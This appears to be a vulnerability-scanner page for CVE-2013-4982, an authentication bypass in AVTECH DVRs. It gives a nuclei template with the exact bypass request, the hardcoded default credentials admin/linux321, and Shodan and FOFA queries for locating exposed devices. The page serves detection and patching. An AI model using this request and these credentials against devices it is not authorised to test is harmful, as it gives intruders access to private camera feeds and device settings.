CVE-2013-4982· CWE-287
AVTECH DVR - Login Verification Code Bypass
lowseverity
5CVSS score
13.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
Impact
Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.
Fix
Update to the latest firmware version or contact the vendor for a security patch.
How to confirm it
Send: GET {{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick
Positive when: matches /^0.* OK.*/ AND status_code == 200 and len(body) == 5Run it with nuclei: nuclei -id CVE-2013-4982 -u <target>
The full check
id: CVE-2013-4982
info:
name: AVTECH DVR - Login Verification Code Bypass
author: ritikchaddha
severity: low
description: |
AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
impact: |
Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.
remediation: |
Update to the latest firmware version or contact the vendor for a security patch.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2013-4982
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5.0
cve-id: CVE-2013-4982
epss-score: 0.13117
epss-percentile: 0.96388
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
shodan-query: title:"login" product:"Avtech"
fofa-query: app="AVTECH-视频监控"
tags: cve,cve2013,avtech,verify,bypass,iot,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"
attack: pitchfork
payloads:
username:
- admin
password:
- linux321
matchers-condition: and
matchers:
- type: regex
regex:
- "^0.*\nOK.*"
- type: dsl
dsl:
- status_code == 200
- len(body) == 5
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from